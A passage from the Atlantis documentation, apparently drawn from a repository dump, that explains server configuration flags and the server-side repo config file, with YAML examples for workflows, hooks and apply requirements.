comment renders correctly. Continuation comments are labeled with the command name (e.g. \"Continued plan output from previous comment\") when available.\n\n### `--parallel-apply` <Badge text=\"v0.22.0+\" type=\"info\"/>\n\n```bash\natlantis server --parallel-apply\n# or\nATLANTIS_PARALLEL_APPLY=true\n```\n\nWhether to run apply operations in parallel. Defaults to `false`. Explicit declaration in [repo config](repo-level-atlantis-yaml.md#run-plans-and-applies-in-parallel) takes precedence.\n\n### `--parallel-plan` <Badge text=\"v0.22.0+\" type=\"info\"/>\n\n```bash\natlantis server --parallel-plan\n# or\nATLANTIS_PARALLEL_PLAN=true\n```\n\nWhether to run plan operations in parallel. Defaults to `false`. Explicit declaration in [repo config](repo-level-atlantis-yaml.md#run-plans-and-applies-in-parallel) takes precedence.\n\n### `--parallel-pool-size` <Badge text=\"v0.16.0\" type=\"info\"/>\n\n```bash\natlantis server --parallel-pool-size=100\n# or\nATLANTIS_PARALLEL_POOL_SIZE=100\n```\n\nMax size of the wait group that runs parallel plans and applies (if enabled). Defaults to `15`\n\n### `--pending-apply-status` <Badge text=\"v0.36.0+\" type=\"info\"/>\n\n```bash\natlantis server --pending-apply-status\n# or (recommended)\nATLANTIS_PENDING_APPLY_STATUS=true\n```\n\nSet the commit status to pending when there are planned changes that haven't been applied.\nThis prevents merge requests from being merged until all Terraform applies are completed if you have `Pipelines must succeed` enabled on your repository.\n\nWhen enabled, after running `atlantis plan`, the MR status will show as pending if there are changes\nto apply. Once all projects are successfully applied (or show no changes), the status will update to success.\n\nDefaults to `false`.\n\nOnly supported on GitLab\n\n### `--port` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --port=4141\n# or\nATLANTIS_PORT=4141\n```\n\nPort to bind to. Defaults to `4141`.\n\n### `--quiet-policy-checks` <Badge text=\"v0.32.0+\" type=\"info\"/>\n\n```bash\natlantis server --quiet-policy-checks\n# or\nATLANTIS_QUIET_POLICY_CHECKS=true\n```\n\nExclude policy check comments from pull requests unless there's an actual error from conftest. This also excludes warnings. Defaults to `false`.\n\n### `--redis-db` <Badge text=\"v0.19.9+\" type=\"info\"/>\n\n```bash\natlantis server --redis-db=0\n# or\nATLANTIS_REDIS_DB=0\n```\n\nThe Redis Database to use when using a Locking DB type of `redis`. Defaults to `0`.\n\n### `--redis-host` <Badge text=\"v0.19.9+\" type=\"info\"/>\n\n```bash\natlantis server --redis-host=\"localhost\"\n# or\nATLANTIS_REDIS_HOST=\"localhost\"\n```\n\nThe Redis Hostname for when using a Locking DB type of `redis`.\n\n### `--redis-insecure-skip-verify` <Badge text=\"v0.19.9+\" type=\"info\"/>\n\n```bash\natlantis server --redis-insecure-skip-verify=false\n# or\nATLANTIS_REDIS_INSECURE_SKIP_VERIFY=false\n```\n\nControls whether the Redis client verifies the Redis server's certificate chain and host name. If true, accepts any certificate presented by the server and any host name in that certificate. Defaults to `false`.\n\n::: warning SECURITY WARNING\nIf this is enabled, TLS is susceptible to machine-in-the-middle attacks unless custom verification is used.\n:::\n\n### `--redis-password` <Badge text=\"v0.19.9+\" type=\"info\"/>\n\n```bash\natlantis server --redis-password=\"password123\"\n# or (recommended)\nATLANTIS_REDIS_PASSWORD=\"password123\"\n```\n\nThe Redis Password for when using a Locking DB type of `redis`.\n\n### `--redis-port` <Badge text=\"v0.19.9+\" type=\"info\"/>\n\n```bash\natlantis server --redis-port=6379\n# or\nATLANTIS_REDIS_PORT=6379\n```\n\nThe Redis Port for when using a Locking DB type of `redis`. Defaults to `6379`.\n\n### `--redis-tls-enabled` <Badge text=\"v0.19.9+\" type=\"info\"/>\n\n```bash\natlantis server --redis-tls-enabled=false\n# or\nATLANTIS_REDIS_TLS_ENABLED=false\n```\n\nEnables a TLS connection, with min version of 1.2, to Redis when using a Locking DB type of `redis`. Defaults to `false`.\n\n### `--repo-allowlist` <Badge text=\"v0.13.0\" type=\"info\"/>\n\n```bash\n# NOTE: Use single quotes to avoid shell expansion of *.\natlantis server --repo-allowlist='github.com/myorg/*'\n# or\nATLANTIS_REPO_ALLOWLIST='github.com/myorg/*'\n```\n\nAtlantis requires you to specify an allowlist of repositories it will accept webhooks from.\n\nNotes:\n\n- Accepts a comma separated list, ex. `definition1,definition2`\n- Format is `{hostname}/{owner}/{repo}`, ex. `github.com/runatlantis/atlantis`\n- `*` matches any characters, ex. `github.com/runatlantis/*` will match all repos in the runatlantis organization\n- An entry beginning with `!` negates it, ex. `github.com/foo/*,!github.com/foo/bar` will match all github repos in the `foo` owner _except_ `bar`.\n- For Bitbucket Server: `{hostname}` is the domain without scheme and port, `{owner}` is the name of the project (not the key), and `{repo}` is the repo name\n  - User (not project) repositories take on the format: `{hostname}/{full name}/{repo}` (e.g., `bitbucket.example.com/Jane Doe/myatlantis` for username `jdoe` and full name `Jane Doe`, which is not very intuitive)\n- For Azure DevOps the allowlist takes one of two forms: `{owner}.visualstudio.com/{project}/{repo}` or `dev.azure.com/{owner}/{project}/{repo}`\n- Microsoft is in the process of changing Azure DevOps to the latter form, so it may be safest to always specify both formats in your repo allowlist for each repository until the change is complete.\n\nExamples:\n\n- Allowlist `myorg/repo1` and `myorg/repo2` on `github.com`\n  - `--repo-allowlist=github.com/myorg/repo1,github.com/myorg/repo2`\n- Allowlist all repos under `myorg` on `github.com`\n  - `--repo-allowlist='github.com/myorg/*'`\n- Allowlist all repos under `myorg` on `github.com`, excluding `myorg/untrusted-repo`\n  - `--repo-allowlist='github.com/myorg/*,!github.com/myorg/untrusted-repo'`\n- Allowlist all repos in my GitHub Enterprise installation\n  - `--repo-allowlist='github.yourcompany.com/*'`\n- Allowlist all repos under `myorg` project `myproject` on Azure DevOps\n  - `--repo-allowlist='myorg.visualstudio.com/myproject/*,dev.azure.com/myorg/myproject/*'`\n- Allowlist all repositories\n  - `--repo-allowlist='*'`\n\n### `--repo-config` <Badge text=\"v0.5.0+\" type=\"info\"/>\n\n```bash\natlantis server --repo-config=\"path/to/repos.yaml\"\n# or\nATLANTIS_REPO_CONFIG=\"path/to/repos.yaml\"\n```\n\nPath to a YAML server-side repo config file. See [Server Side Repo Config](server-side-repo-config.md).\n\n### `--repo-config-json` <Badge text=\"v0.5.0+\" type=\"info\"/>\n\n```bash\natlantis server --repo-config-json='{\"repos\":[{\"id\":\"/.*/\", \"apply_requirements\":[\"mergeable\"]}]}'\n# or\nATLANTIS_REPO_CONFIG_JSON='{\"repos\":[{\"id\":\"/.*/\", \"apply_requirements\":[\"mergeable\"]}]}'\n```\n\nSpecify server-side repo config as a JSON string. Useful if you don't want to write a config file to disk.\nSee [Server Side Repo Config](server-side-repo-config.md) for more details.\n\n::: tip\nIf specifying a [Workflow](custom-workflows.md#reference), [step](custom-workflows.md#step)'s\ncan be specified as follows:\n\n```json\n{\n   \"repos\": [],\n   \"workflows\": {\n      \"custom\": {\n         \"plan\": {\n            \"steps\": [\n               \"init\",\n               {\n                  \"plan\": {\n                     \"extra_args\": [\"extra\", \"args\"]\n                  }\n               },\n               {\n                  \"run\": \"my custom command\"\n               }\n            ]\n         }\n      }\n   }\n}\n```\n\n:::\n\n### `--restrict-file-list` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --restrict-file-list\n# or (recommended)\nATLANTIS_RESTRICT_FILE_LIST=true\n```\n\n`--restrict-file-list` will block plan requests from projects outside the files modified in the pull request.\nThis will not block plan requests with regex if using the `--enable-regexp-cmd` flag, in these cases commands\nlike `atlantis plan -p .*` will still work if used. normal commands will still be blocked if necessary.\nDefaults to `false`.\n\n### `--silence-allowlist-errors` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --silence-allowlist-errors\n# or\nATLANTIS_SILENCE_ALLOWLIST_ERRORS=true\n```\n\nSome users use the `--repo-allowlist` flag to control which repos Atlantis\nresponds to. Normally, if Atlantis receives a pull request webhook from a repo not listed\nin the allowlist, it will comment back with an error. This flag disables that commenting.\n\nSome users find this useful because they prefer to add the Atlantis webhook\nat an organization level rather than on each repo.\n\n### `--silence-fork-pr-errors` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --silence-fork-pr-errors\n# or\nATLANTIS_SILENCE_FORK_PR_ERRORS=true\n```\n\nNormally, if Atlantis receives a pull request webhook from a fork and --allow-fork-prs is not set,\nit will comment back with an error. This flag disables that commenting.\n\n### `--silence-no-projects` <Badge text=\"v0.17.0\" type=\"info\"/>\n\n```bash\natlantis server --silence-no-projects\n# or\nATLANTIS_SILENCE_NO_PROJECTS=true\n```\n\n`--silence-no-projects` will tell Atlantis to ignore PRs if none of the modified files are part of a project defined in the `atlantis.yaml` file.\nThis flag ensures an Atlantis server only responds to its explicitly declared projects.\nThis has no effect if projects are undefined in the repo level `atlantis.yaml`.\nThis also silences targeted commands (e.g. `atlantis plan -d mydir` or `atlantis apply -p myproj`) so if the project is not in the repo config `atlantis.yaml`, these commands will not run or report back in a comment.\n\nThis is useful when running multiple Atlantis servers against a single repository so you can\ndelegate work to each Atlantis server. Also useful when used with pre_workflow_hooks to dynamically generate an `atlantis.yaml` file.\n\n### `--silence-vcs-status-no-plans` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --silence-vcs-status-no-plans\n# or\nATLANTIS_SILENCE_VCS_STATUS_NO_PLANS=true\n```\n\n`--silence-vcs-status-no-plans` will tell Atlantis to ignore setting VCS status on plans if none of the modified files are part of a project defined in the `atlantis.yaml` file.\n\n### `--silence-vcs-status-no-projects` <Badge text=\"v0.28.0+\" type=\"info\"/>\n\n```bash\natlantis server --silence-vcs-status-no-projects\n# or\nATLANTIS_SILENCE_VCS_STATUS_NO_PROJECTS=true\n```\n\n`--silence-vcs-status-no-projects` will tell Atlantis to ignore setting VCS status on any command if none of the modified files are part of a project defined in the `atlantis.yaml` file.\n\n### `--skip-clone-no-changes` <Badge text=\"v0.15.0\" type=\"info\"/>\n\n```bash\natlantis server --skip-clone-no-changes\n# or\nATLANTIS_SKIP_CLONE_NO_CHANGES=true\n```\n\n`--skip-clone-no-changes` will skip cloning the repo during autoplan if there are no changes to Terraform projects. This will only apply for GitHub and GitLab and only for repos that have `atlantis.yaml` file. Defaults to `false`.\n\n### `--slack-token` <Badge text=\"v0.43.0+\" type=\"info\"/>\n\n```bash\natlantis server --slack-token=token\n# or (recommended)\nATLANTIS_SLACK_TOKEN='token'\n```\n\nAPI token for Slack notifications. See [Using Slack hooks](sending-notifications-via-webhooks.md#using-slack-hooks).\n\n### `--ssl-cert-file` <Badge text=\"v0.2.4+\" type=\"info\"/>\n\n```bash\natlantis server --ssl-cert-file=\"/etc/ssl/certs/my-cert.crt\"\n# or\nATLANTIS_SSL_CERT_FILE=\"/etc/ssl/certs/my-cert.crt\"\n```\n\nFile containing x509 Certificate used for serving HTTPS.\nIf the cert is signed by a CA, the file should be the concatenation\nof the server's certificate, any intermediates, and the CA's certificate.\n\n### `--ssl-key-file` <Badge text=\"v0.2.4+\" type=\"info\"/>\n\n```bash\natlantis server --ssl-key-file=\"/etc/ssl/private/my-cert.key\"\n# or\nATLANTIS_SSL_KEY_FILE=\"/etc/ssl/private/my-cert.key\"\n```\n\nFile containing x509 private key matching `--ssl-cert-file`.\n\n### `--stats-namespace` <Badge text=\"v0.43.0+\" type=\"info\"/>\n\n```bash\natlantis server --stats-namespace=\"myatlantis\"\n# or\nATLANTIS_STATS_NAMESPACE=\"myatlantis\"\n```\n\nNamespace for emitting stats/metrics. See [stats](stats.md) section.\n\n### `--tf-distribution` <Badge text=\"v0.24.0+\" type=\"info\"/>\n\n  <Badge text=\"Deprecated\" type=\"warn\"/>\n  Deprecated for `--default-tf-distribution`.\n\n### `--tf-download` <Badge text=\"v0.18.0+\" type=\"info\"/>\n\n```bash\natlantis server --tf-download=false\n# or\nATLANTIS_TF_DOWNLOAD=false\n```\n\nDefaults to `true`. Allow Atlantis to list and download additional versions of Terraform.\nSetting this to `false` can be useful in an air-gapped environment where a download mirror is not available.\n\n### `--tf-download-url` <Badge text=\"v0.18.0+\" type=\"info\"/>\n\n```bash\natlantis server --tf-download-url=\"https://releases.company.com\"\n# or\nATLANTIS_TF_DOWNLOAD_URL=\"https://releases.company.com\"\n```\n\nAn alternative URL to download Terraform versions if they are missing. Useful in an airgapped\nenvironment where releases.hashicorp.com is not available. Directory structure of the custom\nendpoint should match that of releases.hashicorp.com.\n\nThis has no impact if `--tf-download` is set to `false`.\n\nThis setting is not yet supported when `--tf-distribution` is set to `opentofu`.\n\n### `--tfe-hostname` <Badge text=\"v0.8.3+\" type=\"info\"/>\n\n```bash\natlantis server --tfe-hostname=\"my-terraform-enterprise.company.com\"\n# or\nATLANTIS_TFE_HOSTNAME=\"my-terraform-enterprise.company.com\"\n```\n\nHostname of your Terraform Enterprise installation to be used in conjunction with\n`--tfe-token`. See [Terraform Cloud](terraform-cloud.md) for more details.\nIf using Terraform Cloud (i.e. you don't have your own Terraform Enterprise installation)\nno need to set since it defaults to `app.terraform.io`.\n\n### `--tfe-local-execution-mode` <Badge text=\"v0.8.3+\" type=\"info\"/>\n\n```bash\natlantis server --tfe-local-execution-mode\n# or\nATLANTIS_TFE_LOCAL_EXECUTION_MODE=true\n```\n\nEnable if you're using local execution mode (instead of TFE/C's remote execution mode). See [Terraform Cloud](terraform-cloud.md) for more details.\n\n### `--tfe-token` <Badge text=\"v0.8.3+\" type=\"info\"/>\n\n```bash\natlantis server --tfe-token=\"xxx.atlasv1.yyy\"\n# or (recommended)\nATLANTIS_TFE_TOKEN='xxx.atlasv1.yyy'\n```\n\nA token for Terraform Cloud/Terraform Enterprise integration. See [Terraform Cloud](terraform-cloud.md) for more details.\n\n### `--use-tf-plugin-cache` <Badge text=\"v0.26.0+\" type=\"info\"/>\n\n```bash\natlantis server --use-tf-plugin-cache=false\n```\n\nSet to false if you want to disable terraform plugin cache.\n\nThis flag is useful when having multiple projects that need to run a plan and apply in the same PR to avoid the race condition of `plugin_cache_dir` concurrently, this is a terraform known issue, more info:\n\n- [plugin_cache_dir concurrently discussion](https://github.com/hashicorp/terraform/issues/31964)\n- [PR to improve the situation](https://github.com/hashicorp/terraform/pull/33479)\n\nThe effect of the race condition is more evident when using parallel configuration to run plan and apply. Disabling the use of plugin cache will impact the performance when starting a new plan or apply, but in large Atlantis deployments with multiple projects and shared modules the use of `--parallel_plan` and `--parallel_apply` is mandatory for an efficient management of the PRs.\n\n### `--var-file-allowlist` <Badge text=\"v0.19.5\" type=\"info\"/>\n\n```bash\natlantis server --var-file-allowlist='/path/to/tfvars/dir'\n# or\nATLANTIS_VAR_FILE_ALLOWLIST='/path/to/tfvars/dir'\n```\n\nComma-separated list of additional directory paths where [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) can be read from.\nThe paths in this argument should be absolute paths. Relative paths and globbing are currently not supported.\nIf this argument is not provided, it defaults to Atlantis' data directory, determined by the `--data-dir` argument.\n\n### `--vcs-status-name` <Badge text=\"v0.42.0+\" type=\"info\"/>\n\n```bash\natlantis server --vcs-status-name=\"atlantis-dev\"\n# or\nATLANTIS_VCS_STATUS_NAME=\"atlantis-dev\"\n```\n\nName used to identify Atlantis when updating a pull request status. Defaults to `atlantis`.\n\nThis is useful when running multiple Atlantis servers against a single repository so you can\ngive each Atlantis server its own unique name to prevent the statuses clashing.\n\n### `--web-basic-auth` <Badge text=\"v0.1.0+\" type=\"info\"/>\n\n```bash\natlantis server --web-basic-auth\n# or\nATLANTIS_WEB_BASIC_AUTH=true\n```\n\nEnable Basic Authentication on the Atlantis web service.\n\n### `--web-password` <Badge text=\"v0.1.0+\" type=\"info\"/>\n\n```bash\natlantis server --web-password=\"atlantis\"\n# or\nATLANTIS_WEB_PASSWORD=\"atlantis\"\n```\n\nPassword used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`.\n\n### `--web-username` <Badge text=\"v0.1.0+\" type=\"info\"/>\n\n```bash\natlantis server --web-username=\"atlantis\"\n# or\nATLANTIS_WEB_USERNAME=\"atlantis\"\n```\n\nUsername used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`.\n\n### `--webhook-http-headers` <Badge text=\"v0.35.0+\" type=\"info\"/>\n\n```bash\natlantis server --webhook-http-headers='{\"Authorization\":\"Bearer some-token\",\"X-Custom-Header\":[\"value1\",\"value2\"]}'\n# or\nATLANTIS_WEBHOOK_HTTP_HEADERS='{\"Authorization\":\"Bearer some-token\",\"X-Custom-Header\":[\"value1\",\"value2\"]}'\n```\n\nAdditional headers added to each HTTP POST payload when using [http webhooks](sending-notifications-via-webhooks.md#using-http-webhooks)\nprovided as a JSON string. The map key is the header name and the value is the header value\n(string) or values (array of string).\n\n### `--websocket-check-origin` <Badge text=\"v0.19.0+\" type=\"info\"/>\n\n```bash\natlantis server --websocket-check-origin\n# or\nATLANTIS_WEBSOCKET_CHECK_ORIGIN=true\n```\n\nOnly allow websockets connection when they originate from the running Atlantis web server\n\n### `--write-git-creds` <Badge text=\"v0.11.0+\" type=\"info\"/>\n\n```bash\natlantis server --write-git-creds\n# or\nATLANTIS_WRITE_GIT_CREDS=true\n```\n\nWrite out a .git-credentials file with the provider user and token to allow\ncloning private modules over HTTPS or SSH. See [Git Credential Store documentation](https://git-scm.com/docs/git-credential-store) for more information.\n\nFollow the `git::ssh`\n"
  },
  {
    "path": "runatlantis.io/docs/server-side-repo-config.md",
    "content": "# Server Side Repo Config\n\nA Server-Side Config file is used for more groups of server config that can't reasonably be expressed through flags.\n\nOne such usecase is to control per-repo behaviour\nand what users can do in repo-level `atlantis.yaml` files.\n\n## Do I Need A Server-Side Config File?\n\nYou do not need a server-side repo config file unless you want to customize\nsome aspect of Atlantis on a per-repo basis.\n\nRead through the [use-cases](#use-cases) to determine if you need it.\n\n## Enabling Server Side Config\n\nTo use server side repo config create a config file, ex. `repos.yaml`, and pass it to\nthe `atlantis server` command via the `--repo-config` flag, ex. `--repo-config=path/to/repos.yaml`.\n\nIf you don't wish to write a config file to disk, you can use the\n`--repo-config-json` flag or `ATLANTIS_REPO_CONFIG_JSON` environment variable\nto specify your config as JSON. See [--repo-config-json](server-configuration.md#repo-config-json)\nfor an example.\n\n## Example Server Side Repo\n\n```yaml\n# repos lists the config for specific repos.\nrepos:\n  # id can either be an exact repo ID or a regex.\n  # If using a regex, it must start and end with a slash.\n  # Repo ID's are of the form {VCS hostname}/{org}/{repo name}, ex.\n  # github.com/runatlantis/atlantis.\n- id: /.*/\n  # branch is a regex matching pull requests by base branch\n  # (the branch the pull request is getting merged into).\n  # By default, all branches are matched\n  branch: /.*/\n\n  # repo_config_file specifies which repo config file to use for this repo.\n  # By default, atlantis.yaml is used.\n  repo_config_file: path/to/atlantis.yaml\n\n  # plan_requirements sets the Plan Requirements for all repos that match.\n  plan_requirements: [approved, mergeable, undiverged]\n\n  # apply_requirements sets the Apply Requirements for all repos that match.\n  apply_requirements: [approved, mergeable, undiverged]\n\n  # import_requirements sets the Import Requirements for all repos that match.\n  import_requirements: [approved, mergeable, undiverged]\n\n  # workflow sets the workflow for all repos that match.\n  # This workflow must be defined in the workflows section.\n  workflow: custom\n\n  # allowed_overrides specifies which keys can be overridden by this repo in\n  # its atlantis.yaml file.\n  allowed_overrides: [apply_requirements, workflow, delete_source_branch_on_merge, repo_locking, repo_locks, custom_policy_check]\n\n  # allowed_workflows specifies which workflows the repos that match\n  # are allowed to select.\n  allowed_workflows: [custom]\n\n  # allow_custom_workflows defines whether this repo can define its own\n  # workflows. If false (default), the repo can only use server-side defined\n  # workflows.\n  allow_custom_workflows: true\n\n  # delete_source_branch_on_merge defines whether the source branch would be deleted on merge\n  # If false (default), the source branch won't be deleted on merge\n  delete_source_branch_on_merge: true\n\n  # repo_locking defines whether lock repository when planning.\n  # If true (default), atlantis try to get a lock.\n  # deprecated: use repo_locks instead\n  repo_locking: true\n\n  # repo_locks defines whether the repository would be locked on apply instead of plan, or disabled\n  # Valid values are on_plan (default), on_apply or disabled.\n  repo_locks:\n    mode: on_plan\n\n  # custom_policy_check defines whether policy checking tools besides Conftest are enabled in checks\n  # If false (default), only Conftest JSON output is allowed\n  custom_policy_check: false\n\n  # pre_workflow_hooks defines arbitrary list of scripts to execute before workflow execution.\n  pre_workflow_hooks:\n    - run: my-pre-workflow-hook-command arg1\n\n  # post_workflow_hooks defines arbitrary list of scripts to execute after workflow execution.\n  post_workflow_hooks:\n    - run: my-post-workflow-hook-command arg1\n\n  # policy_check defines if policy checking should be enabled on this repository.\n  policy_check: false\n\n  # autodiscover defines how atlantis should automatically discover projects in this repository.\n  # If any part of this setting is set here, it overrides the entire setting in the repo config.\n  autodiscover:\n    mode: auto\n    # Optionally ignore some paths for autodiscovery by a glob path\n    ignore_paths:\n      - foo/*\n\n  # id can also be an exact match.\n- id: github.com/myorg/specific-repo\n\n# workflows lists server-side custom workflows\nworkflows:\n  custom:\n    plan:\n      steps:\n      - run: my-custom-command arg1 arg2\n      - init\n      - plan:\n          extra_args: [\"-lock\", \"false\"]\n      - run: my-custom-command arg1 arg2\n    apply:\n      steps:\n      - run: echo hi\n      - apply\n ```\n\n## Use Cases\n\nHere are some of the reasons you might want to use a repo config.\n\n### Requiring PR Is Approved Before an applicable subcommand\n\nIf you want to require that all (or specific) repos must have pull requests\napproved before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys.\n\nFor all repos:\n\n```yaml\n# repos.yaml\nrepos:\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n```\n\nFor a specific repo:\n\n```yaml\n# repos.yaml\nrepos:\n- id: github.com/myorg/myrepo\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n```\n\nSee [Command Requirements](command-requirements.md) for more details.\n\n### Requiring PR Is \"Mergeable\" Before Apply or Import\n\nIf you want to require that all (or specific) repos must have pull requests\nin a mergeable state before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys.\n\nFor all repos:\n\n```yaml\n# repos.yaml\nrepos:\n- id: /.*/\n  plan_requirements: [mergeable]\n  apply_requirements: [mergeable]\n  import_requirements: [mergeable]\n```\n\nFor a specific repo:\n\n```yaml\n# repos.yaml\nrepos:\n- id: github.com/myorg/myrepo\n  plan_requirements: [mergeable]\n  apply_requirements: [mergeable]\n  import_requirements: [mergeable]\n```\n\nSee [Command Requirements](command-requirements.md) for more details.\n\n### Repos Can Set Their Own Apply Requirements\n\nIf you want all (or specific) repos to be able to override the default apply requirements, use\nthe `allowed_overrides` key.\n\nTo allow all repos to override the default:\n\n```yaml\n# repos.yaml\nrepos:\n- id: /.*/\n  # The default will be approved.\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n\n  # But all repos can set their own using atlantis.yaml\n  allowed_overrides: [plan_requirements, apply_requirements, import_requirements]\n```\n\nTo allow only a specific repo to override the default:\n\n```yaml\n# repos.yaml\nrepos:\n# Set a default for all repos.\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n\n# Allow a specific repo to override.\n- id: github.com/myorg/myrepo\n  allowed_overrides: [plan_requirements, apply_requirements, import_requirements]\n```\n\nThen each allowed repo can have an `atlantis.yaml` file that\nsets `plan_requirements`, `apply_requirements` or `import_requirements` to an empty array (disabling the requirement).\n\n```yaml\n# atlantis.yaml in the repo root or set repo_config_file in repos.yaml\nversion: 3\nprojects:\n- dir: .\n  plan_requirements: []\n  apply_requirements: []\n  import_requirements: []\n```\n\n### Running Scripts Before Atlantis Workflows\n\nIf you want to run scripts that would execute before Atlantis can run default or\ncustom workflows, you can create a `pre-workflow-hooks`:\n\n```yaml\nrepos:\n  - id: /.*/\n    pre_workflow_hooks:\n      - run: my custom command\n      - run: |\n          my bash script inline\n```\n\nSee [Pre Workflow Hooks](pre-workflow-hooks.md) for more details on writing\npre workflow hooks.\n\n### Running Scripts After Atlantis Workflows\n\nIf you want to run scripts that would execute after Atlantis runs default or\ncustom workflows, you can create a `post-workflow-hooks`:\n\n```yaml\nrepos:\n  - id: /.*/\n    post_workflow_hooks:\n      - run: my custom command\n      - run: |\n          my bash script inline\n```\n\nSee [Post Workflow Hooks](post-workflow-hooks.md) for more details on writing\npost workflow hooks.\n\n### Change The Default Atlantis Workflow\n\nIf you want to change the default commands that Atlantis runs during `plan` and `apply`\nphases, you can create a new `workflow`.\n\nIf you want to use that workflow by default for all repos, use the workflow\nkey `default`:\n\n```yaml\n# repos.yaml\n# NOTE: the repos key is not required.\nworkflows:\n  # It's important that this is \"default\".\n  default:\n    plan:\n      steps:\n      - init\n      - run: my custom plan command\n    apply:\n      steps:\n      - run: my custom apply command\n```\n\nSee [Custom Workflows](custom-workflows.md) for more details on writing\ncustom workflows.\n\n### Allow Repos To Choose A Server-Side Workflow\n\nIf you want repos to be able to choose their own workflows that are defined\nin the server-side repo config, you need to create the workflows\nserver-side and then allow each repo to override the `workflow` key:\n\n```yaml\n# repos.yaml\n# Allow repos to override the workflow key.\nrepos:\n- id: /.*/\n  allowed_overrides: [workflow]\n\n# Define your custom workflows.\nworkflows:\n  custom1:\n    plan:\n      steps:\n      - init\n      - run: my custom plan command\n    apply:\n      steps:\n      - run: my custom apply command\n\n  custom2:\n    plan:\n      steps:\n      - run: another custom command\n    apply:\n      steps:\n      - run: another custom command\n```\n\nOr, if you want to restrict what workflows each repo has access to, use the `allowed_workflows`\nkey:\n\n```yaml\n# repos.yaml\n# Restrict which workflows repos can select.\nrepos:\n- id: /.*/\n  allowed_overrides: [workflow]\n\n- id: /my_repo/\n  allowed_overrides: [workflow]\n  allowed_workflows: [custom1]\n\n# Define your custom workflows.\nworkflows:\n  custom1:\n    plan:\n      steps:\n      - init\n      - run: my custom plan command\n    apply:\n      steps:\n      - run: my custom apply command\n\n  custom2:\n    plan:\n      steps:\n      - run: another custom command\n    apply:\n      steps:\n      - run: another custom command\n```\n\nThen each allowed repo can choose one of the workflows in their `atlantis.yaml`\nfiles:\n\n```yaml\n# atlantis.yaml\nversion: 3\nprojects:\n- dir: .\n  workflow: custom1 # could also be custom2 OR default\n```\n\n:::tip NOTE\nThere is always a workflow named `default` that corresponds to Atlantis' default workflow\nunless you've created your own server-side workflow with that key (overriding it).\n:::\n\nSee [Custom Workflows](custom-workflows.md) for more details on writing\ncustom workflows.\n\n### Allow Using Custom Policy Tools\n\nConftest is the standard policy check application integrated with Atlantis, but custom tools can still be run in custom workflows when the `custom_policy_check` option is set.  See the [Custom Policy Checks page](custom-policy-checks.md) for detailed examples.\n\n### Allow Repos To Define Their Own Workflows\n\nIf you want repos to be able to define their own workflows you need to\nallow them to override the `workflow` key and set `allow_custom_workflows` to `true`.\n\n::: danger\nIf repos can define their own workflows, then anyone that can create a pull\nrequest to that repo can essentially run arbitrary code on your Atlantis server.\n:::\n\n```yaml\n# repos.yaml\nrepos:\n- id: /.*/\n\n  # With just allowed_overrides: [workflow], repos can only\n  # choose workflows defined server-side.\n  allowed_overrides: [workflow]\n\n  # By setting allow_custom_workflows to true, we allow repos to also\n  # define their own workflows.\n  allow_custom_workflows: true\n```\n\nThen each allowed repo can define and use a custom workflow in their `atlantis.yaml` files:\n\n```yaml\n# atlantis.yaml\nversion: 3\nprojects:\n- dir: .\n  workflow: custom1\nworkflows:\n  custom1:\n    plan:\n      steps:\n      - init\n      - run: my custom plan command\n    apply:\n      steps:\n      - run: my custom apply command\n```\n\nSee [Custom Workflows](custom-workflows.md) for more details on writing\ncustom workflows.\n\n### Multiple Atlantis Servers Handle The Same Repository\n\nRunning multiple Atlantis servers to handle the same repository can be done to separate permissions for each Atlantis server.\nIn this case, a different [atlantis.yaml](repo-level-atlantis-yaml.md) repository config file can be used by using different `repos.yaml` files.\n\nFor example, consider a situation where a separate `production-server` atlantis uses repo config `atlantis-production.yaml` and `staging-server` atlantis uses repo config `atlantis-staging.yaml`.\n\nFirstly, deploy 2 Atlantis servers, `production-server` and `staging-server`.\nEach server has different permissions and a different `repos.yaml` file.\nThe `repos.yaml` contains `repo_config_file` key to specify the repository atlantis config file path.\n\n```yaml\n# repos.yaml\nrepos:\n- id: /.*/\n  # for production-server\n  repo_config_file: atlantis-production.yaml\n  # for staging-server\n  # repo_config_file: atlantis-staging.yaml\n```\n\nThen, create `atlantis-production.yaml` and `atlantis-staging.yaml` files in the repository.\nSee the configuration examples in [atlantis.yaml](repo-level-atlantis-yaml.md).\n\n```yaml\n# atlantis-production.yaml\nversion: 3\nprojects:\n- name: project\n  branch: /production/\n  dir: infrastructure/production\n---\n# atlantis-staging.yaml\nversion: 3\nprojects:\n  - name: project\n    branch: /staging/\n    dir: infrastructure/staging\n```\n\nNow, 2 webhook URLs can be setup for the repository, which send events to `production-server` and `staging-server` respectively.\nEach servers handle different repository config files.\n\n:::tip Notes\n\n* If `no projects` comments are annoying, set [--silence-no-projects](server-configuration.md#silence-no-projects).\n* The command trigger executable name can be reconfigured from `atlantis` to something else by setting [Executable Name](server-configuration.md#executable-name).\n* When using different atlantis server vcs users such as `@atlantis-staging`, the comment `@atlantis-staging plan` can be used instead `atlantis plan` to call `staging-server` only.\n:::\n\n## Reference\n\n### Top-Level Keys\n\n| Key        | Type                                                  | Default   | Required | Description                                                                           |\n|------------|-------------------------------------------------------|-----------|----------|---------------------------------------------------------------------------------------|\n| repos      | array[[Repo](#repo)]                                  | see below | no       | List of repos to apply settings to.                                                   |\n| workflows  | map[string: [Workflow](custom-workflows.md#workflow)] | see below | no       | Map from workflow name to workflow. Workflows override the default Atlantis commands. |\n| policies   | Policies.                                             | none      | no       | List of policy sets to run and associated metadata                                    |\n| metrics    | Metrics.                                              | none      | no       | Map of metric configuration                                                           |\n| team_authz | 